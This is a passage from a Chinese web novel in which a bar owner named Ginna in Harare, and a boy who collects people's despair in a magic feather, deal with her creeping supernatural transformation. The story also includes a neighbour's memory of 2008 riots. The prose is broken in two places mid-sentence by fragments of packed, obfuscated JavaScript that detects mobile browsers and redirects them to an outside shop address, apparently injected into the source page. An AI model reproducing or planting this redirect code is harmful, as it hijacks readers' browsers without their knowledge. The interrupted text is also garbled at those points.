Ginna转向湛文嘉,收起那份调笑,换上一副冷淡的表情:“明天这个时候,我会再和你见面。但是下一次见面,我要得到算得上‘收获’的消息,不然,抑制剂我不会给。” “怎样才算得上‘收获’?”湛文嘉低声问。 “有麻烦找上了豹头的门,这两天里,他不会有大动作。”说这话时,Ginna的目光若有似无地扫过湛文嘉的脸,敏锐地捕捉到他眼中那抹一闪而过的暗芒。 ——有意思。那光头进局子,莫非就是这小子搞的鬼? 倒是比自己想的要更有能耐。 她面上却不显,继续道:“矿场的事我已经有了些眉目,可以暂时放一放......今天回去之后,我要你帮我找一个人。” “找人?”湛文嘉一怔,“谁?” 巷子里的风在此时吹了过来,带来尽头垃圾堆发出的阵阵难闻恶臭。 夜已深,远处的音乐声不知何时停了,整条街在此时陷入了一种诡异的寂静中,只留下车后图拉吭嗤吭嗤卖力干活的呼吸声。 Ginna沉默了。 她垂眸看着自己沾了些酒渍的指尖,眉心不着痕迹地蹙了一下,转瞬即逝,快得像是幻觉。 然后湛文嘉听到她说: “——陈平安。” 13. 12 夜里,电动三轮车突突突地开回了酒馆门口。 车身上的彩灯串还亮着,在寂静的街道上拖曳出流动的光影。Ginna熄火下车,走到车库门前,揿下遥控器。 卷帘门发出嘎吱的响声,缓缓向上拉起。 等待的间隙里,对面卖贵州酸汤火锅的摊位前,老板娘刘姐正在收拾桌椅。 她四十出头,身材微胖,围裙上沾着油渍,见Ginna回来,眼前一亮,用带着黔西南口音的普通话招呼道:“娜娜回来啰?这一次咋出去学习了这么久嘞。” 刘姐和她丈夫都是泥腿子出身,早年来津巴布韦打拼,英语说得磕磕绊绊,又常日在这唐人社区里,索性就只说中文了。他们不知道Ginna的本名,英文名又觉得拗口,就顺着发音叫她“娜娜”,一叫就是十几年。 Ginna转过身,朝她报以一笑。 路灯下,她的笑容明朗:“姐还没收摊啊?这一次学的东西有点多,新会了好几种酒的调法。等隔几天请你来店里喝个痛快。” 刘姐笑呵呵地应着:“好嘞好嘞!” 语落,她借着灯光打量Ginna,总觉得她脸色比平时差了些,嘴唇也没什么血色,本想多问几句,却见Ginna已经转回了身。 图拉接着从副驾跳下来,帮着她把车推进车库。 刘姐看着那两人忙前忙后,摇了摇头,低头继续手上的动作。这时,她丈夫老罗拎着锅具从店里走出来,看了眼对面已经半开的车库门,低声问:“娜娜回来了?” “嗯,刚回来。”刘姐把折叠椅摞好,“脸色看着不太好,估计累着了。” 老罗叹了口气,把锅放到筐里,接着用袖子擦了擦额头的汗:“怎么每次都是她出去?按理来说,也该是男人出远门才稳妥啊。麻雀那小子到底咋想的,让个姑娘家东奔西跑的。” 刘姐闻言,白了他一眼:“你懂什么?娜娜可不是一般的女孩儿。” 话甩出去,她自己的眼神却飘忽了一下,像是被那路灯的光晃散了神,悠悠荡荡,落回了十几年前那个燥热又恐慌的午后。 *** 刘姐第一次见到Ginna,是在2008年。 那一年,津巴布韦的天像是被捅了个窟窿:经济垮了,饥荒来了,钱成了印着天文数字的废纸片。 刘姐和老罗刚把关岭的酸汤味儿搬到这异国他乡,火锅店的招牌油漆还没干透呢,乱子就砸到了头上。 饥饿和绝望让一些人铤而走险,华人社区成了首当其冲的目标——谁都知道中国人踏实、肯干,有钱有囤粮,又是外来户,好欺负。 那天下午,砸门声像擂鼓一样响起。 她抱着未满一岁的儿子缩在柜台后面,吓得浑身发抖。老罗一个人顶在门后,用肩膀抵着门板,额头上青筋暴起。木门在撞击下发出不堪重负的呻吟,门闩肉眼可见地逐渐弯曲。 “砰!” 就在这时,一声巨响从对面传来。 刘姐心里一凉——是对面那户人家! 她搬来这儿一月有余,从来没见那家门开过,只在夜里见过二楼亮灯。住在这一带的,想来也是华人,只是深居简出,白日里见不到罢了。 财物抢了去倒还好,希望人没事…… 哪知这个念头还没在她脑海里转完,对面就传来了几声凄厉的惨叫。 刘姐浑身一抖,怀里的孩子也被吓醒,哇哇大哭起来。她慌忙捂住孩子的嘴,惊恐地看向丈夫。老罗也听到了,脸色瞬间煞白——这些人,不只是抢钱,还要伤人? 就在这时,门外的撞砸声也越来越猛烈,木屑从门框上簌簌地落。 完了。 刘姐闭上眼睛,把脸埋进孩子襁褓里,等待着最后那一声破门巨响。 然而,下一瞬—— 伴着一阵鬼哭狼嚎,对面响起了几阵急促的脚步声,只是没响几声,就听见了几道重物倒地的声音。 那撞门的声音突然就停了。尔后,门外倒吸冷气的声音接二连三地响起。 再然后,外头那些匪徒竟纷纷怪叫着逃开了。 街道上突然安静了下来。 老罗愣了一下,小心翼翼地把眼睛凑到门缝上。他维持这个姿势看了几秒,然后猛地转过头,脸上写满了不可思议:“那些人……跑了!” “什么?” 刘姐不敢相信:撞了这么久,眼看就要得手了,怎么就这么跑了? 在老罗急切的手势下,她抱着孩子凑到门缝前,眯起眼往外看。 果然,门口空荡荡的,刚才那几张狰狞的脸都不见了。 而就在对面那户人家的门前—— 三四个黑人男子横七竖八地倒在地上,正抱着大腿痛苦地呻吟翻滚。每个人的大腿上都晕开一团深色的血迹,在尘土飞扬的街道上显得格外刺目。 刘姐心头一震:对面这户人家居然有枪! 难道是当地有关系的华商大佬,家里是藏了武器的? 她刚松了口气,暗自庆幸对面有枪震住了暴徒,下一瞬,却见那扇被撞开的门里,走出来了两个人。 准确地说,是两个小孩儿。 一个扎着马尾辫的亚裔女孩,看起来不过八九岁,穿着一件洗得发白的T恤和短裤,赤着脚。她身后跟着一个年纪相仿的男孩,瘦瘦小小的,同样赤着脚,脸上还沾着灰。 刘姐愣住了——这家大人呢?怎么敢让孩子在这个时候出来? 然而接下来发生的一幕,却让她更加错愕了。 只见那女孩看着地上翻滚惨叫的男人们,脸上没有半分惧色,小下巴微微抬着,竟有种超越年龄的、冷浸浸的镇定。她伸出细伶伶的胳膊,手指一点,声音清脆,带着点命令的口吻:“麻雀,去,把这些坏蛋的屁股,给我一人踹两脚!” 男孩看向她的眼神里满是崇拜,二话不说就跑过去,对着每个趴伏的人,铆足了劲“咚咚”就是两脚,踹得实实在在。踹完,他蹲下身,小手在那几人腿上一拔——隔得远,刘姐只看见几道白影闪过,快得抓不住形状。 反正绝不是弹头。 做完这些,男孩屁颠屁颠跑回女孩身边。两人小手一牵,转身进屋,“哐当”一声关上了那扇破门。 自始至终,没有大人出现。 刘姐缓缓转头看向丈夫,两人对视,都从对方眼里看到了同样的迷惑和震惊。 动乱过后,对面人家悄无声息地修好了门,依旧深居简出。 刘姐的火锅店生意也日渐起色。日子水一样流过去,她渐渐知道,对面住着的那俩孩子,女孩叫Ginna,男孩叫麻雀。从没见着他们的父母,中途只有一个面容沉静的中年女人偶尔带着小孩过来做饭、打扫卫生,好几年后,才住在了对面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127430|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >更多时候,是两个小人儿自己撑着门户。 十几年,弹指一挥间。当年的小女娃把家改成了酒馆,生意做得风生水起,在哈拉雷的华人圈里名头响亮。那个当初眼神里还带着怯的男孩,则成了酒馆里八面玲珑的酒保,笑脸迎人,和三教九流都能攀上话,打烊后还不忘给她店里引些续摊的客人。 两家人是邻居,关系从来不错,可时至今日,她依旧不知道这两个孩子到底是什么来历,为何会小小年纪就独自在这异乡谋生存。 只是在这些年里,她见证了Ginna太多彪悍的事迹—— 因酒馆生意太好,遭人嫉恨,本地帮派便以收“保护费”为由,把她的货物扣了下来,她知晓后,自己单枪匹马闯去跟他们交涉,不知用了什么手段,硬是把被扣的货物要了回来; 某天夜里,她独自一人开车去偏远的地方提货,路上遇到劫道的,第二天,人们发现她好整以暇地坐在警察局门口喝茶,身旁地上横七竖八地躺了几个手脚被捆的、鼻青脸肿的劫匪; 还有一次,有女孩从酒馆出来后被当地的混混骚扰,她后来听到,二话不说,拎着根棒球棍就找上了门。那之后,再没混混敢在附近晃悠...... 刘姐只知道,有这个女孩在,这条街就多了份安心。这么些年里,他们都或多或少地被她保护过。 “娜娜她啊,”刘姐收回思绪,指着丈夫的鼻子,骄傲道,“那股子韧劲儿,你们男人都比不上!” 老罗张了张嘴,到底没再说什么,只默默地把最后一张桌子搬进了店里。 *** 车库里,卷帘门渐渐拉下,隔绝了外界的视线。 里面空间不大,停着一辆军绿色的LC70皮卡——车型方正硬朗,底盘高,不算奢华,但皮实耐用。车身上沾着泥点,后斗里扔着好些绳索、工具箱和几个油桶。 三轮车就停在皮卡旁边,彩灯还亮着,在昏暗的车库里投下晃动的光影。 图拉跳下车,正准备去开灯,不料耳边却传来“咚”的一声闷响。 他猛地回头—— Ginna整个人伏在了方向盘上,额头抵着冰冷的塑胶,肩膀微微颤抖着。 彩灯的光滑过她的侧脸,那一瞬,图拉看清了她额角沁出的冷汗:密密一层,在晃动的光下泛着冷湿的光。那露在光下的肌肤苍白如纸,嘴唇紧紧抿着,像是忍受着极大的痛苦。 “姐姐!”图拉慌了,连忙跑过去,踮起脚想扶她,“又、又开始了?我去叫哥哥!” 他转身就要往通向酒吧的后门跑,不料下一瞬,手腕却被一只冰凉的手抓住。 “别去。”Ginna的声音很轻,却带着不容置疑的力度,“......把东西给我。” 图拉愣了愣:“现在就要吗?在这里?” Ginna咬牙点了点头,放开抓住他的手,平摊在他面前。 图拉犹豫了一下,回头看了看紧闭的卷帘门,又看了看身前那微微颤抖的五指。最终,他咬了咬下唇,把手伸进怀里,小心翼翼地掏出一样东西。 借着三轮车彩灯的微光,能依稀看清那物模样—— 约莫一掌长,本是纯净的白,但不知为何,从中段开始,却逐渐被一种粘稠的墨色所浸染...... 竟是一根羽毛。 一根被不祥的墨色,吞噬了近半的白羽。 14. 13 数小时前。 橘红色的天幕被浓黑彻底浸染之时,酒摊车缓缓驶停在了贫民窟边缘。 Ginna熄了火,侧头朝一旁看去。 视线中是哈拉雷最大的棚户区。 夜色中,简陋的铁皮屋顶在月光下泛着冰冷的光泽,巷道狭窄曲折,像迷宫,没有路灯,只有零星几户人家窗户里透出的昏黄光亮,在黑暗里切割出破碎的光斑。 空气中飘着露天厕所的恶臭,远处隐约传来婴儿的啼哭、夫妻的争吵、醉汉含糊的咒骂——它们共同组成了这片贫民窟永不止歇的背景音。 “老规矩。”Ginna扭头看向一旁乖乖坐着的男孩,“注意安全,遇到麻烦就撤,撤不了就叫我。别逞强。” 图拉点点头。 推开车门,湿冷的夜风便立刻灌了进来,冻得他缩了缩脖子,不由把身上那件稍显宽大的夹克裹紧了些。 得到Ginna眼神示意后,那小小的人儿跳下车,转身头也不回地钻进了黑暗的巷道里。 ...... 图拉走得不快。 倒不是认不得路——恰恰相反,这地方他太熟了,哪条巷子拐角堆着经年不丢的垃圾,哪家墙根常年渗着臭水,哪处铁皮被风雨蚀出了窟窿,他都一清二楚。 因为这是他落生的地方。 就算四年前,他被Ginna从那场要命的登革热里拽了回来,侥幸从此处脱了身,可每个月总有这么一天,他要回到这里。 为了那个只有他和Ginna知道的“活儿”。 起初是新奇,后来成了习惯,再到现在,竟在他那小小的心脏里,长出了沉甸甸的、名为“责任”的东西。 想到这儿,他在一条岔道口停下,从贴身的内袋里,小心翼翼地捧出了一根羽毛。 纯白的,在昏朦的夜色里,泛着层极柔和的、珍珠似的光泽。 不知是什么鸟落的,触手是软的,可细细感受后,又觉出一股子奇异的、金属般的凉,直往指尖的骨头缝里钻。 他将羽毛捏在指尖,深吸一口气后,开始沿着既定的路线行走。 片刻后,他经过了第一户人家。 那是间铁皮搭成的棚屋,屋上爬满了锈迹,门缝里透出煤油灯微弱的光。里面传来压抑的啜泣声,是一个女人的声音,夹杂着断断续续的咒骂:“该死的!为什么是我……为什么偏偏是我的孩子!” 路过的瞬间,图拉脚步不停,脸色平静,只是将羽毛举高了些。 可就在他从那门前走过之后,奇怪的事情发生了——羽毛根部那抹纯净的白,像是被无形的墨汁所浸染,悄然蔓延开了一丝极淡的黑色。 图拉低头看了一眼,脸上表情没什么变化,继续往前走。 第二户。 里面传来一个男人醉醺醺的嘶吼:“工作……我需要工作!他们凭什么开除我,我干了十年、整整十年!” 语落,屋内响起一阵摔碎酒瓶的脆响,伴着女人惊恐的尖叫。 羽毛上的黑色又蔓延了一分。 第三户。 老人在咳嗽,咳得撕心裂肺,仿佛要把肺都咳出来——然而在这里,没有药,没有医生,只有绝望的等待。 “让我死吧……让我死吧……” 破碎的话语从朽烂的门窗中逸出,转而变作有形而不祥的物质,如若被磁石吸引,再度附着在了那根羽毛之上。 于是黑色继续生长。 ...... 男孩就这样一户一户地走过,像一个沉默的幽灵,穿梭在贫民窟的巷道里。 他不需要进入那些棚屋,甚至不需要靠得太近——只要保持在足够近的距离内,羽毛就能“感应”到那些情绪。 愤怒、绝望、痛苦、不甘、诅咒、憎恨……所有负面的、黑暗的、在绝境中滋生出的情绪,都会成为滋养那道黑色的养料。 他曾以为这是魔法,而交给他这种羽毛的女人——好心将他收留的Ginna姐姐,便是会法术的仙女。 不知为何,她需要这些被“污染”的羽毛,每月一次,从不间断。 而这件事,据她所说,只能他帮她去做。 图拉不知道Ginna要用这些羽毛做什么,又为什么只能让他去做。他从来都没有问过。 每个人都有自己的秘密,就连他和法蒂玛之间也不例外——不过才一个星期不见,他就发现妹妹背着他偷偷在市场外养了只小猫,还藏着掖着不让他晓得。 五岁那年,姐姐救下了病重垂危的他,病好后,不仅把他从医院带回了酒馆,还给妈妈和妹妹找了新住处......眼下这点小事,和姐姐对他们的恩惠比起来,又算得了什么呢? 这样想着,男孩渐渐加快了脚下的步伐。 *** 一个小时后,图拉走完了整片区域。 他停下脚步,靠在一条小巷潮湿的墙壁上,微微有些喘气。夜风吹过,带来远处垃圾堆腐臭的气味,他皱了皱鼻子,从怀里重新掏出那根羽毛。 借着月光,他能清楚地看到:那原本纯白的羽毛,此刻已经被染黑了近一半。黑白交界之处并非齐整的直线,而是犬牙交错、参差不齐的,像有两种力量在无声地拉扯。 ——这个月的“收集”没有达到预期。 以往走完这片区域后,羽毛通常会被染黑三分之二甚至更多。但今天,只到了一半。 图拉抿了抿嘴唇。 是因为最近天气转凉,人们的情绪也跟着“降温”了吗?还是说,有些人已经连抱怨和诅咒的力气都已丧失,彻底麻木了? 他不知道。 他小心翼翼地将羽毛重新收好,放进内袋里,确保它不会掉落。然后转身,沿着来时的路,快步往回走。 回去的路似乎比来时更黑。 巷道两侧的棚屋里,有些已经熄了灯陷入沉睡,有些还亮着,但里面的声音已经低了下去,变成了压抑的呜咽。 图拉没有回头看。 今夜的他,只是一个信使,一个奉命而来的收集者。即便离开了这里,他依旧和这片土地上大多数活着的人一样,微小得像一粒尘埃。 尘埃,是改变不了任何事的。 *** 车库。 图拉把羽毛小心翼翼地放在女子掌心。 羽毛触碰到皮肤的瞬间,Ginna的手指几不可察地蜷缩了一下。她握住羽毛,收回手,依旧没有抬头,只是用极其平静、平静得甚至有些异常的声音说: “好了,你回去吧,出门时把门带上——跟麻雀说我在车库,没事,让他不要过来。” 图拉却站在原地,没有立刻离开。 他看到了。 姐姐的肩膀在微微颤抖,虽然幅度很小,但他看到了,也听到了——她的呼吸声比平时急促,尽管她在极力地压抑。 “姐姐……”图拉张了张嘴,还想说什么。 “回去。”Ginna打断他,声音里带上了一丝不容置疑的冷硬,“现在、马上。” 图拉咬紧下唇,眼中闪过一丝挣扎,但最终还是点了点头。 ...... 后门被轻轻地带上,发出一道几乎听不见的“咔哒”声。 车库重新陷入了寂静。 三轮车身上尚未关闭的彩灯串,此时还在不知疲倦地闪烁着,将晃动的、破碎的光影投射在墙壁和车身上,也投射在方向盘前那个蜷缩的身影上。 良久。 趴在方向盘上、始终没有动作的女人,极其缓慢地抬起了头—— 昏暗而晃动的灯光下,露出的,是一张妖艳似鬼的脸。 不、不是“似鬼”,那是真正的、非人的,鬼一般的容貌—— 从右侧耳后开始,有一片纯白色的羽状纹路向前蔓生,野蛮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127431|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生长,覆盖了她右边近乎半张脸颊—— 那不是颜料,也不是刺青,而是一种从皮肤下生长出来的、介于实体和虚影之间的物质。光影中,每一片“羽瓣”都清晰可辨,边缘泛着冰冷的微光。 就在此刻,那白羽已经蚕食到了她右眼角下方,只差一点点,就要连带着那只眼睛也一并吞没。 眼珠艰难地一转,她似是想抬头,朝三轮车那块蒙尘的后视镜看去。可眼看着目光就要落入那镜面之中,她面上竟闪过一丝挣扎,尔后蓦地扭头,转而朝停在身旁的那辆皮卡看去—— 越野车深绿色的车漆在昏暗光线下如同一面模糊的镜子,勉强能映出人影的轮廓。 借着车面那微弱的反光,她看到了自己此刻狰狞的模样。 于是握着羽毛的那只手,蓦地收紧了。 指节因用力而泛白,手背上青筋毕露,仿佛要将那根黑白参半的羽毛生生捏碎。可羽毛的质地显然超出寻常,在她的握力下纹丝不动,反而将那股冰冷的触感更清晰地传递到她的掌心。 她垂下眸子,看着它。 黑白参半,界限模糊,像她此刻的状态:一半是人,一半非人。 也像极了她这二十五年的人生,一半踩在光里,一半陷在影中。 憎恶、无奈、嘲讽……诸多情绪在她眼底翻涌,最后,却都被一种深不见底的、近乎麻木的平静吞噬殆尽。 ——早该习惯了。 从很多年前,从那个血与雪混在一起的夜晚之后,她就明白,有些东西是命里带来的,躲不掉,也甩不脱。 而眼下,她剩下的时间也不多了。 幽幽一声叹息响起,没有悲伤,没有恐惧,只有一种深深的疲惫。 然后,她不再犹豫,右手举起那根黑白参半的羽毛,将末梢对准了自己耳后——那里是白色蔓延的起点,也是最初出现异变的皮肤。 羽毛的末梢并不算锋利,但就在她将羽毛抵住皮肤的瞬间,那看似柔软的羽梢,竟像被赋予了某种邪恶的生命力,悄然变得尖锐、坚硬,泛出金属般的冷光。 她闭上眼睛。 下一秒,手腕发力,决绝地向前一送—— “噗嗤。” 一声轻微的闷响响起,仿佛钢针刺破熟透的果实。 羽毛的尖端毫无阻碍地刺入了她耳后的皮肤,深深扎进了那片白色蔓延的根源。 但没有鲜血涌出。 或者说,流出来的不是红色的血,而是一缕缕极淡的、银白色的光晕。它从伤口处缓缓渗出,像烟雾,又似流质,在空气中不住飘散。 而随着羽毛的刺入,她面上那片原本正在快速蔓延的纹路,竟骤然停止了扩张——再然后,那些白羽竟仿佛被人按了倒退键一般,开始以肉眼可见的速度消退、收缩。不多时,便从面中退回颊后、再接着退回了最初的耳后那小片区域。 手握着的羽身之上,原本只占据了羽毛二分之一的那抹白,竟好像在此刻活了过来,羽尖翕合间,将空气中漂浮着的白色流质尽数吸纳,随后一路沿着脉络向下涌去...... 它竟在一点点蚕食那剩余的黑。 白色在从她身上消退,最终却在羽毛上得以重塑。 好似一种交换,一种平衡。 ...... 时间在斑斓闪烁的光影里无声地流走。 当最后一片纹路从她脸上消失时,羽毛上最后一点墨色也被纯白彻底吞没了。 她猛地睁开眼睛,手腕一震,将羽毛从耳后拔出。 羽毛无声地掉落在地面上。 此刻,它重又变得通体洁白,跟她刚刚交给图拉时一模一样。 而她的脸,也在此时恢复了正常:皮肤白皙、光洁,看不出任何片刻前的诡状。 只有耳后那个细微得几乎看不见的刺点,无声地证明着—— 刚才发生的一切,都是真的。